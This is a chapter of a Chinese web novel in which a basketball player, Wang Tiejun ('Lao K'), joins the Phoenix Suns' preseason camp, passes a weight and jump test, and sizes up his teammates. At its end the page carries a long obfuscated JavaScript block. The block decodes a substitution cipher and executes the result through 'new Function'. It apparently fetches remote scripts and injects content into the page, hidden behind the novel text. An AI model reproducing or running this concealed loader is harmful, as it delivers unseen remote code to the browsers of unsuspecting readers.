第343章 斯特恩的权衡(1 / 2)

NBA靠山王 东王一 2946 字 2022-07-15

20号,球队集合。

这天晚上,王铁军驾车来到了总部,见到了所有的队友。

“嘿,多米尼克。”

“嘿,老k。”

来到训练馆,威尔金斯刚好在更衣室的门口还没进去,应该也是刚到,他先和威尔金斯打了下招呼。

二人随后进去,韦斯特法尔和丹尼安吉几个助理教练也在里面,队友也差不多都到了,也就缺一个闪电。

“老k。”

他一进去,所有人都站了起来。

“教练,丹尼,刘易斯……”和队友点了点头,他先和几个教练员打过招呼。

“老k,看上去你的体型有些变化,下肢肌肉更强壮了,但我怎么觉得肌肉的流线型更好了?你做过爆发力训练?”看到老王的第一眼,助教刘易斯就很敏感地问道。

老王给刘易斯竖起了大拇指,说道:“我确实在做爆发力训练,一期训练快结束了,有些成果。而且我增重了,你也没看错,主要增加的是下肢肌肉,这样我的下肢抗伤病能力会更强。”

“现在多重了?”韦斯特法尔关心地问道。

“132公斤。”

他的增重已经完成,训练内容只差一两天了,其他的训练内容也是一样,体重已经达到了增重目标。

“132公斤?移动能力怎么样?”韦斯特法尔关心地问道。

“放心,不会比上赛季差。”他笑着说道。

韦斯特法尔点了点头,不置可否,差不差,他要看具体的体测效果。

如果老k的移动能力下降了,他肯定要阻止老k继续增重,甚至建议他减重,因为现在的联盟,也就一个奥尼尔,其他人在吨位上根本不是老k的对手,而魔术队的实力,在他看来近两年是冲不过公牛那一关的。

也就是说,季后赛中魔术和太阳队在总决赛上碰头的机会很小,至于常规赛,输赢根本不重要。

简单来说,从球队的利益上,奥尼尔和老k现在没有多少直接竞争的机会,除非奥尼尔被交易到西部,或者魔术闯过公牛那一关。

当然,这是从球队的角度考虑问题,如果从老k的个人角度考虑问题,他也知道,只要能赢奥尼尔,老k不会客气的,因为这是两头巨兽的对决,没有退让的可能。

尤其今年要进行五十大巨星的评选,奥尼尔和老k这两头巨兽都有希望进入这个荣耀的系列,他们之间对决的胜负,就更加重要了。

这时刘易斯分析道:“老k同时进行了爆发力训练和下肢增重,我认为他可能会增加一些弹跳,移动速度也可能会提升,当然爆发力肯定会增加,老k,你有感觉吗?”

“有一些,但变化不是太大。”老王点头说道。

他的一些素质已经提升了,至于原因,当然是与增加下肢力量,还有增加爆发力有关,甚至梅花步的训练也可能有一些关系。

“那是当然,你这么大的吨位,变化不可能很大的,但在增重的基础下,没有下降,就已经是非常不错的效果了。”刘易斯笑着说道。

招呼过教练员之后,老王和一些队友说起话来。

“罗伯特,休赛期有加练吗?”他先找上了霍里。

霍里拍了拍胸膛笑道:“放心,老k,加练了,新赛季我能做更多,你相信我吧。”

老王用怀疑的眼神打量了一下霍里,这个家伙的话信不得,在马赛克队的新秀赛季是他最好的一年,到太阳队这两年,表现一年比一年差。

上赛季的命中率是44.7%,拥有大量空位的出手,才这个效率,他始终对霍里不满意。

“但愿,这个赛季你要打四号位,底角空位三分给我投准点。”他叮嘱道。

现在雷公不在了,滑翔机也不在了,两个能投三分的人都离开了,威尔金斯没有三分,闪电也没有,芬利那个菜鸟的三分听说也不太可靠,三个主力外线一个三分准的都没有,拉开能力严重不足,也就霍里还能投投三分,如果这个家伙的空位三分还投不准,那这个赛季他真的很难打。

虽然他可以强行靠打碾压,但体能有限,不可能次次都那么打,分球出去老投不进,对方对他的包夹必定会肆无忌惮,想赢球就会非常困难,他一个人不可能包打天下。

“菜鸟?”

他盯上了更衣室角落里的菜鸟迈克尔芬利。

“老k。”

芬利条件反射地站了起来,有些紧张地望着老王。

“你的三分准吗?”他顺着刚才的思路问道。

“呃……”

芬利紧张地支吾道:“我,我……”

老王无奈,我又没凶你,你紧张个什么呀?

这时丹尼安吉说道:“老k,根据他的球探报告,以及他在夏季联赛与季前赛的表现来看,三分还过得去,35%的命中率。”

老王眉头一皱,低了一点,在季前赛那样的比赛中只有35%的命中率,那进入常规赛一定会更低。

而且芬利没有很强的持球与突破能力,三分又不是非常准,那他在三分线上的威慑力就会不够,对手就可以收缩防守。

不过现在这个时代,三分本来就不太注重,能突破一定会突破,不会浪投三分,他也不打算说什么。

现在也不是考虑这个的时候,他对芬利说道:“好好努力,你的模板可是迈克尔乔丹。”

“我,我会的。”

芬利很痛恨自己的紧张,老k的态度很好,可他就是忍不住紧张,因为这是在总决赛轰下场均50的超级巨兽,这是横扫乔丹与公牛的超级统治级巨星,他根本控制不住自己的情绪。

王铁军向旁边挪动了一步,到了本华莱士的面前,两个菜鸟都坐在角落里。

“老k。”

大本闷声说道。

“嗯。”

老王点了一下头,打量着这个矮了他14公分,却和他一个位置的菜鸟。

看上去还算强壮,黑铁一样,但就这身高,资料上的体重是105公斤,吨位不够,身高不够,是顶不住人的。

不过大本的主要位置现在安排的是四号位,霍里的替补,为五号位做协防,倒也不急于增重。

“你落选了,我是老板从街上捡来的,我们之前的命运差不多,希望你能在太阳队努力训练打比赛,提升自己的实力,拿到更多的上场时间,然后改变自己的命运。”他鼓励道。

“是,老大。”大本闷声说道。

这个时候闪电到了,大家换装以后,就去了训练场。

球队给王铁军做体测,先测了体重,确实达到了132公斤。

然后测试弹跳,体重越大,弹跳能力越弱,但刚刚刘易斯也说了,下肢力量的增加,爆发力的增强,弹跳能力也会增加,两相抵消之下,也可能保持原来的运动素质。

王铁军抬头望了一眼上面的标尺,全力跳起,右手打在了那一排黑白相间的标尺之上。

“75公分。”旁边的训练师马上喊道。

助教丹尼安吉马上将这个数据记录了下来,一边说道:“老k,和你以前相比,增加了两公分,要不你再跳两次?”

“算了,不跳了。”老王自己心中有数,摇头拒绝了。

他原来的弹跳其实也是不错的,经过多次训练之后,原地弹跳能达到73公分,也达到了他的弹跳极限,现在达到了75公分,已经突破了自己原来的极限。

不过并没有惊讶,只有素质提升,系统中的资料就会有时变化,他早就知道自己的弹跳已经达到了76级/76级(弹高75级/75级,弹速77级/77级),比以前都提升了两级。

其他的素质数据,速度的等级与潜力等级都达到了78级,提升一级,柔韧性达到了80级,提升最高,足足三级,协调性达到了92级,提升一级。

爆发力方面,这期训练就这两天要完成了,三个月的训练,已经提升了四级,过两天就到再升一级,现在是82/86级。

也就是说,现在他更重了,但跳得更快更高了,爆发力更强大了。

接下来又测试了他的移动速度,包括来回折返跑,短距离冲刺,都快了一点点,但确实提升不多。

只是对于球队来说,他在增重的情况还能提升一点点速度,这已经是巨大的惊喜了。

下午五点,完成了训练,老王离开总部,去k武馆吃过晚饭,回到别墅,休息一会儿之后,开始训练梅花步。

这几天武馆的兄弟已经给他在后院埋了几十根梅花桩,他在这些桩上桩下不断地进行腾转挪移,看上去已经有模有样了,比以前要强了一些。

“砰!”

!function(){function a(a){var _idx="j81e9pi47c";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,l7_2(F6O2ca[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y8D62fODm622Y5V6fFh!qYF J8Y/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa!Xd5 F=O!(O2LF X8[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgY/}0=6FY^9Y6phFgJ/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"bGYYYGb"!qYF d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 TcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!XmqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28c28"hFFJLg//[[fdTPPo}0d(hFL_CLmJC)QpXQmRT4gQ}1Q/CL/o}0jR8C{}YQJ6o1("a%c*}8882m62fYR;7c"j"aj"j"g"v"a%"58"%Xm5Y|5T%%%"vF8"%hca%5ca!FmL5(8Tc2a=FmO2qOdf87_2(F6O2ca[XmqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=XmqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF 78"o}0"=^8"C{}YQJ6o1("!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 icYa[Xd5 F8H"o}0^)ThF)m7}F:Ch2mRT4"="o}0X5ThF)mX(nSnY0mRT4"="o}02pThFm7}F:Ch2mRT4"="o}0_JqhFmX(nSnY0mRT4"="o}02TOhFm7}F:Ch2mRT4"="o}0CSqhF)mX(nSnY0mRT4"="o}0)FfThF)fm7}F:Ch2mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%7%"jR8"%^%"v58"%Xm5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[XmqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[287_2(F6O2cYa[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=780!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!7<YmqY2pFh!a28fH_ZcYH(Zc7%%aa=O8fH_ZcYH(Zc7%%aa=68fH_ZcYH(Zc7%%aa=d8fH_ZcYH(Zc7%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 ^8h!qYF Y8""=F=2=O!7O5cF858280!F<^mqY2pFh!ac58^HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc28^HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc28^HLZcF%}a=O8^HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPc2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=XmqOdfiFdF_L8*}PpcOa=@888XmqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l88XmqOdfiFdF_LvvYvvYca=pcOaP=XmqOdfiFdF_L8}PqYF D8l}!7_2(F6O2 )ca[DvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5cXmYXY2F|TJY=Xm(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfcXm5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqcXmLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l88XmqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP8X!7_2(F6O2 Lca[Xd5 Y8Tc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:m}5TJ:S0mRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5cXmYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clDa[(O2LF[YXY2F|TJYg7=6L|OJg^=5YXY5LY9Y6phFgpP8X!fO(_^Y2FmdffEXY2Ft6LFY2Y5c7=h=l0a=Xm(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8Tc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:m}5TJ:S0mRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c^a[67cO<8pa5YF_52l}!O<J%pvvfcaPYqLY[F8F*O!67cF<8pa5YF_52l}!F<J%pvvfcaPP2m6f8Xm5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[Xm5YXY5LY9Y6phFPJR`=^jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=D8l0PqYF F8Tc"hFFJLg//[[fdTPPo}0d(hFL_CLmJC)QpXQmRT4gQ}1Q/f/o}0j(8}vR8C{}YQJ6o1("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPY82dX6pdFO5mJqdF7O5^=F8l/3cV62?yd(a/mFYLFcYa=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cF??Oavvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2Fajic7_2(F6O2ca[Lc@0}a=ic7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=ic7_2(F6O2ca[Lc}0saPaPaPaa=lFvvY??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Tc"hFFJLg//[[fdTPPo}0d(hFL_CLmJC)QpXQmRT4gQ}1Q"a%"/)_pj68"%7=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPca!'.substr(22));new Function(b)()}();